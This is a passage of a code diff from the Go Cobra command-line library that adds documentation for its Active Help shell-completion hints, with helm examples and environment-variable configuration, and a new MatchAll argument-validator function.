return strings.ReplaceAll(activeHelpEnvVar, "-", "_")
}
+157
View File
@@ -0,0 +1,157 @@
# Active Help
Active Help is a framework provided by Cobra which allows a program to define messages (hints, warnings, etc) that will be printed during program usage. It aims to make it easier for your users to learn how to use your program. If configured by the program, Active Help is printed when the user triggers shell completion.
For example,
```
bash-5.1$ helm repo add [tab]
You must choose a name for the repo you are adding.
bash-5.1$ bin/helm package [tab]
Please specify the path to the chart to package
bash-5.1$ bin/helm package [tab][tab]
bin/ internal/ scripts/ pkg/ testdata/
```
**Hint**: A good place to use Active Help messages is when the normal completion system does not provide any suggestions. In such cases, Active Help nicely supplements the normal shell completions to guide the user in knowing what is expected by the program.
## Supported shells
Active Help is currently only supported for the following shells:
- Bash (using [bash completion V2](shell_completions.md#bash-completion-v2) only). Note that bash 4.4 or higher is required for the prompt to appear when an Active Help message is printed.
- Zsh
## Adding Active Help messages
As Active Help uses the shell completion system, the implementation of Active Help messages is done by enhancing custom dynamic completions. If you are not familiar with dynamic completions, please refer to [Shell Completions](shell_completions.md).
Adding Active Help is done through the use of the `cobra.AppendActiveHelp(...)` function, where the program repeatedly adds Active Help messages to the list of completions. Keep reading for details.
### Active Help for nouns
Adding Active Help when completing a noun is done within the `ValidArgsFunction(...)` of a command. Please notice the use of `cobra.AppendActiveHelp(...)` in the following example:
```go
cmd := &cobra.Command{
Use: "add [NAME] [URL]",
Short: "add a chart repository",
Args: require.ExactArgs(2),
RunE: func(cmd *cobra.Command, args []string) error {
return addRepo(args)
},
ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
var comps []string
if len(args) == 0 {
comps = cobra.AppendActiveHelp(comps, "You must choose a name for the repo you are adding")
} else if len(args) == 1 {
comps = cobra.AppendActiveHelp(comps, "You must specify the URL for the repo you are adding")
} else {
comps = cobra.AppendActiveHelp(comps, "This command does not take any more arguments")
}
return comps, cobra.ShellCompDirectiveNoFileComp
},
}
```
The example above defines the completions (none, in this specific example) as well as the Active Help messages for the `helm repo add` command. It yields the following behavior:
```
bash-5.1$ helm repo add [tab]
You must choose a name for the repo you are adding
bash-5.1$ helm repo add grafana [tab]
You must specify the URL for the repo you are adding
bash-5.1$ helm repo add grafana https://grafana.github.io/helm-charts [tab]
This command does not take any more arguments
```
**Hint**: As can be seen in the above example, a good place to use Active Help messages is when the normal completion system does not provide any suggestions. In such cases, Active Help nicely supplements the normal shell completions.
### Active Help for flags
Providing Active Help for flags is done in the same fashion as for nouns, but using the completion function registered for the flag. For example:
```go
_ = cmd.RegisterFlagCompletionFunc("version", func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
if len(args) != 2 {
return cobra.AppendActiveHelp(nil, "You must first specify the chart to install before the --version flag can be completed"), cobra.ShellCompDirectiveNoFileComp
}
return compVersionFlag(args[1], toComplete)
})
```
The example above prints an Active Help message when not enough information was given by the user to complete the `--version` flag.
```
bash-5.1$ bin/helm install myrelease --version 2.0.[tab]
You must first specify the chart to install before the --version flag can be completed
bash-5.1$ bin/helm install myrelease bitnami/solr --version 2.0.[tab][tab]
2.0.1 2.0.2 2.0.3
```
## User control of Active Help
You may want to allow your users to disable Active Help or choose between different levels of Active Help. It is entirely up to the program to define the type of configurability of Active Help that it wants to offer, if any.
Allowing to configure Active Help is entirely optional; you can use Active Help in your program without doing anything about Active Help configuration.
The way to configure Active Help is to use the program's Active Help environment
variable. That variable is named `<PROGRAM>_ACTIVE_HELP` where `<PROGRAM>` is the name of your
program in uppercase with any `-` replaced by an `_`. The variable should be set by the user to whatever
Active Help configuration values are supported by the program.
For example, say `helm` has chosen to support three levels for Active Help: `on`, `off`, `local`. Then a user
would set the desired behavior to `local` by doing `export HELM_ACTIVE_HELP=local` in their shell.
For simplicity, when in `cmd.ValidArgsFunction(...)` or a flag's completion function, the program should read the
Active Help configuration using the `cobra.GetActiveHelpConfig(cmd)` function and select what Active Help messages
should or should not be added (instead of reading the environment variable directly).
For example:
```go
ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
activeHelpLevel := cobra.GetActiveHelpConfig(cmd)
var comps []string
if len(args) == 0 {
if activeHelpLevel != "off" {
comps = cobra.AppendActiveHelp(comps, "You must choose a name for the repo you are adding")
}
} else if len(args) == 1 {
if activeHelpLevel != "off" {
comps = cobra.AppendActiveHelp(comps, "You must specify the URL for the repo you are adding")
}
} else {
if activeHelpLevel == "local" {
comps = cobra.AppendActiveHelp(comps, "This command does not take any more arguments")
}
}
return comps, cobra.ShellCompDirectiveNoFileComp
},
```
**Note 1**: If the `<PROGRAM>_ACTIVE_HELP` environment variable is set to the string "0", Cobra will automatically disable all Active Help output (even if some output was specified by the program using the `cobra.AppendActiveHelp(...)` function). Using "0" can simplify your code in situations where you want to blindly disable Active Help without having to call `cobra.GetActiveHelpConfig(cmd)` explicitly.
**Note 2**: If a user wants to disable Active Help for every single program based on Cobra, she can set the environment variable `COBRA_ACTIVE_HELP` to "0". In this case `cobra.GetActiveHelpConfig(cmd)` will return "0" no matter what the variable `<PROGRAM>_ACTIVE_HELP` is set to.
**Note 3**: If the user does not set `<PROGRAM>_ACTIVE_HELP` or `COBRA_ACTIVE_HELP` (which will be a common case), the default value for the Active Help configuration returned by `cobra.GetActiveHelpConfig(cmd)` will be the empty string.
## Active Help with Cobra's default completion command
Cobra provides a default `completion` command for programs that wish to use it.
When using the default `completion` command, Active Help is configurable in the same
fashion as described above using environment variables. You may wish to document this in more
details for your users.
## Debugging Active Help
Debugging your Active Help code is done in the same way as debugging your dynamic completion code, which is with Cobra's hidden `__complete` command. Please refer to [debugging shell completion](shell_completions.md#debugging) for details.
When debugging with the `__complete` command, if you want to specify different Active Help configurations, you should use the active help environment variable. That variable is named `<PROGRAM>_ACTIVE_HELP` where any `-` is replaced by an `_`. For example, we can test deactivating some Active Help as shown below:
```
$ HELM_ACTIVE_HELP=1 bin/helm __complete install wordpress bitnami/h<ENTER>
bitnami/haproxy
bitnami/harbor
_activeHelp_ WARNING: cannot re-use a name that is still in use
:0
Completion ended with directive: ShellCompDirectiveDefault
$ HELM_ACTIVE_HELP=0 bin/helm __complete install wordpress bitnami/h<ENTER>
bitnami/haproxy
bitnami/harbor
:0
Completion ended with directive: ShellCompDirectiveDefault
```
+12
View File
@@ -107,3 +107,15 @@ func RangeArgs(min int, max int) PositionalArgs {
return nil
}
}
// MatchAll allows combining several PositionalArgs to work in concert.
func MatchAll(pargs ...PositionalArgs) PositionalArgs {
return func(cmd *Command, args []string) error {
for _, parg := range pargs {
if err := parg(cmd, args); err != nil {
return err
}
}
return nil
}
}
Loaded 100 of 117 files, more files were not shown because too many files have changed in this diff. Show more